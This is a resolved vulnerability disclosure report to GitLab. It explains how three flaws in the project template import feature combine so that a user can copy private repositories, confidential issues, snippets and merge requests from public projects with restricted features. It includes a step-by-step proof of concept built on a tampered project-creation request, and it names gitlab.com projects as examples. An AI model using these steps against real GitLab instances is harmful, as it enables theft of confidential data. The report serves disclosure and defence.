Project Template functionality can be used to copy private project data, such as repository, confidential issues, snippets, and merge requests
Critical
G
GitLab
Submitted None
Actions:
Reported by
jobert
Vulnerability Details
Technical details and impact analysis
I've found a three minor vulnerabilities which, when combined, allow an attacker to copy private repositories, confidential issues, private snippets, and then some. I'll go through the code path to explain the vulnerabilities and how they are combined. See the **Proof of Concept** section if you want to reproduce it immediately.
Let's start at the `ProjectsController` of EE, which is prepended to `app/controllers/projects_controller.rb` in an EE instance.
**ee/app/controllers/ee/projects_controller.rb**
```ruby
override :project_params_attributes
def project_params_attributes
super + project_params_ee
end
def project_params_ee
attrs = %i[
# ...
use_custom_template
# ...
group_with_project_templates_id
]
# ...
attrs
end
```
This method defines what parameters can be passed by the user. The two notable parameters here are `use_custom_template` and `group_with_project_templates_id`. This method appends the result value of `project_params_attributes` method in `app/controllers/projects_controller.rb` on line 351, which specifies all the CE attributes a user can provide when creating a project. The CE controller allows the `template_name` parameter to be passed, too. This means that these three parameters can be passed to the `Projects::CreateService` in the `create` method:
**app/controllers/projects_controller.rb**
```ruby
def create
@project = ::Projects::CreateService.new(current_user, project_params(attributes: project_params_create_attributes)).execute
# ...
end
# ...
def project_params_attributes
[
# ...
:template_name,
# ...
]
```
In EE, the `EE:Projects::CreateService` is prepended to the `Projects::CreateService`. The prepended EE code contains logic to validate the `use_custom_template` and `group_with_project_templates_id` parameters.
**ee/app/services/ee/projects/create_service.rb**
```ruby
def execute
# ...
group_with_project_templates_id = params.delete(:group_with_project_templates_id) if params[:template_name].blank?
# ...
validate_namespace_used_with_template(project, group_with_project_templates_id)
end
# ...
def validate_namespace_used_with_template(project, group_with_project_templates_id)
return unless project.group
subgroup_with_templates_id = group_with_project_templates_id || params[:group_with_project_templates_id]
return if subgroup_with_templates_id.blank?
templates_owner = ::Group.find(subgroup_with_templates_id).parent
unless templates_owner.self_and_descendants.exists?(id: project.namespace_id)
project.errors.add(:namespace, _("is not a descendant of the Group owning the template"))
end
end
```
The code above is where the first vulnerability can be found. In a normal situation, a Project Template can only be copied to a namespace (group) that is a descendant of the project template. However, the `validate_namespace_used_with_template` method returns a `nil` value when the project is **not** being created for a group (`return unless project.group`). This means that if a `group_with_project_templates_id` is given for a project that is created in a `User` namespace, the authorization / validation logic is never executed. This means that the `use_custom_template` and `group_with_project_templates_id` parameters remain to be set on the instance variable `params`.
Because the EE code is prepended, the `execute` method is executed before the `Projects::CreateService` is called. Because the EE class its validation logic is bypassed, the `execute` method of the `Projects::CreateService` class is called:
**app/services/projects/create_service.rb**
```ruby
def execute
if @params[:template_name].present?
return ::Projects::CreateFromTemplateService.new(current_user, params).execute
end
# ...
end
```
When a `template_name` is given, instead of executing the normal execution flow, the result of `Projects::CreateFromTemplateService` is returned. The CE code for this class isn't very important. The EE class contains the logic that is worth checking out:
**ee/app/services/ee/projects/create_from_template_service.rb**
```ruby
def execute
return super unless use_custom_template?
override_params = params.dup
params[:custom_template] = template_project if template_project
::Projects::GitlabProjectsImportService.new(current_user, params, override_params).execute
end
private
def use_custom_template?
# ...
template_name &&
::Gitlab::Utils.to_boolean(params.delete(:use_custom_template)) &&
::Gitlab::CurrentSettings.custom_project_templates_enabled?
# ...
end
def template_project
# ...
current_user.available_custom_project_templates(search: template_name, subgroup_id: subgroup_id)
.first
# ...
end
def subgroup_id
params[:group_with_project_templates_id].presence
end
```
This class does a couple of things: it makes sure a custom template name is given, that it should use the given template name, and that the GitLab instance has custom project templates enabled. For what it's worth: gitlab.com has this setting enabled. When it passes those checks, the `template_project` method is invoked. Here is the definition of the `available_custom_project_templates` method:
**ee/app/models/ee/user.rb**
```ruby
def available_custom_project_templates(search: nil, subgroup_id: nil)
templates = ::Gitlab::CurrentSettings.available_custom_project_templates(subgroup_id)
::ProjectsFinder.new(current_user: self,
project_ids_relation: templates,
params: { search: search, sort: 'name_asc' })
.execute
end
```
This method requires two parameters: `search` and `subgroup_id`. The first one is the `template_name` the user passes, the second one `group_with_project_templates_id`. The `templates` variable gets its value based on the following method definition:
**ee/app/models/ee/application_setting.rb**
```ruby
def available_custom_project_templates(subgroup_id = nil)
group_id = subgroup_id || custom_project_templates_group_id
return ::Project.none unless group_id
::Project.where(namespace_id: group_id)
end
```
This method will return all `Project` models based on the `namespace_id` that is provided in the `subgroup_id` parameter. This is then passed to the `ProjectsFinder` in the `available_custom_project_templates` method on the `User` model. This is where the second vulnerability can be found. The `ProjectsFinder` uses an initial collection, which consists of the projects the authenticated user can access. However, it does **not** check the access level of the user. This means that any project that is public, but has Repository, Issue, Snippets (etc.) access disabled for Guests, will be returned by the `available_custom_project_templates` method on the `User` model. In a perfect world, it seems that this method would limit the projects that can be returned based on the user's permissions for said projects.
If we go back to the `EE:Projects::CreateFromTemplateService` file, you can see that the `template_project` will return the first project that is returned by the `available_custom_project_templates` method. This means that `params[:custom_template]` may contain a `Project` model that the user is not authorized to see everything for. The `EE::Projects::CreateFromTemplateService` class then calls the `Projects::GitlabProjectsImportService` class with the updated parameters.
**ee/app/services/ee/projects/gitlab_projects_import_service.rb**
```ruby
def execute
super.tap do |project|
if project.saved? && custom_template
custom_template.add_export_job(current_user: current_user,
after_export_strategy: export_strategy(project))
end
end
end
private
override :prepare_import_params
def prepare_import_params
super
if custom_template
params[:import_type] = 'gitlab_custom_project_template'
end
end
def custom_template
strong_memoize(:custom_template) do
params.delete(:custom_template)
end
end
def export_strategy(project)
Gitlab::ImportExport::AfterExportStrategies::CustomTemplateExportImportStrategy.new(export_into_project_id: project.id)
end
```
This EE class is prepended, but uses `super.tap` to call the CE code (`super`) and then taps into the result of the CE code. If `params[:custom_template]` has been set and the project was successfully saved by the `super` call, an export job is scheduled for the `custom_template` that was returned by the `ProjectsFinder`. It's worth nothing that at this point the user may not be authorized to see the code, issues, etc., of the project. Additionally, an export strategy is passed that imports the export file in the newly created project.
This is where the third vulnerability can be found. When an export job is scheduled, it assumes the user is authorized to make the export. Ideally, the Sidekiq job (`ProjectExportWorker`) that is scheduled would do an authorization check to make sure that the user is authorized to export the project. This would also avoid a TOCTOU issue where the user schedules a job when the queue is clogged / Sidekiq workers are paused and would leave the project before the job is executed. When the export is created, it'll automatically be imported in the project that the user has full access to.
Combined, these vulnerabilities results in an attacker being able to obtain any confidential information that is included in a project export. This vulnerability **only** works for public projects with limited access levels for repositories, issues, pipelines, merge requests (and more) that belong to a group. A good example of this would be `gitlab-org`, `gitlab-data`, `gitlab-com`, on gitlab.com. There are plenty of repositories, such as https://gitlab.com/gitlab-com/finance (see below), that are public but don't expose the repository, issues, and merge requests.
{F576178}
# Proof of Concept
To reproduce this vulnerability:
* sign in as a normal user and create a group, let's assume this is group ID 1
* within this group, create a public project named `test_project`
* under **Settings > General** update the **Visibility, project features, permissions** to only allow Issues, Repository, Wiki, and Snippets to be seen by **Only Project Members**:
{F576180}
* sign into another account and go to http://instance/projects/new
* create a new project and intercept the request, it'll look something like this (I've left out unimportant parameters):
```
POST /projects HTTP/1.1
Host: instance
...
----------506740453
Content-Disposition: form-data; name="project[use_custom_template]"
false
----------506740453
Content-Disposition: form-data; name="project[template_name]"
----------506740453
Content-Disposition: form-data; name="project[group_with_project_templates_id]"
----------506740453
Content-Disposition: form-data; name="project[name]"
project_name
----------506740453
Content-Disposition: form-data; name="project[namespace_id]"
1
----------506740453
Content-Disposition: form-data; name="project[path]"
project_name
----------506740453--
```
* in this request, change `use_custom_template` to `true`, the `template_name` to the name the victim gave to the project (`test_project`), and `group_with_project_templates_id` to the group ID of the public group the victim created (`1`). When forwarded, the server will respond with a redirect and, when followed, show a page indicating that the project is being imported:
{F576184}
Depending on the size of the project and how busy the queues are, it can take a couple of minutes to generate the export of the project and then import it to the new project. Come back in a couple minutes and find the repository, confidential issues, private snippets, merge requests, CI pipelines, and more being copied to the attacker's project.
**Redacted copy of `gitlab-com/finance`**
{F576189}
## Impact
Any access level that has been put in place for projects the user can access can be bypassed using this vulnerability. According to the documentation, this means that the following information can be obtained:
* Project and wiki repositories
* Project uploads
* Project configuration, including services
* Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities
* LFS objects
* Issue Boards
{F576190}
Report Details
Additional information and metadata
State
Closed
Substate
Resolved
Bounty
$12000.00
Submitted
Weakness
Privilege Escalation